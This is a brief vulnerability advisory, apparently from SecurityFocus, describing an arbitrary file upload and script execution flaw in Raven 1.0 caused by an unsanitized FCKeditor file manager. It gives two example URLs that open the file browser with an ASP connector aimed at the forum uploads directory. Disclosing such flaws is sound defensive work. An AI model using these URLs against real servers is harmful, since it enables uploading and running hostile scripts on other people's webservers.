source: http://www.securityfocus.com/bid/51631/info

Raven is prone to a vulnerability that lets an attacker upload and execute arbitrary script code in the context of the affected webserver process. The issue occurs because the application fails to sufficiently sanitize user-supplied input.

Raven 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[patch]/admin/fck2/editor/filemanager/browser/default/browser.html?Connector=connectors/asp/connector.asp&ServerPath=/forum/uploads/

http://www.example.com/forum/admin/fck2/editor/filemanager/browser/default/browser.html?Connector=connectors/asp/connector.asp&ServerPath=/forum/uploads/ 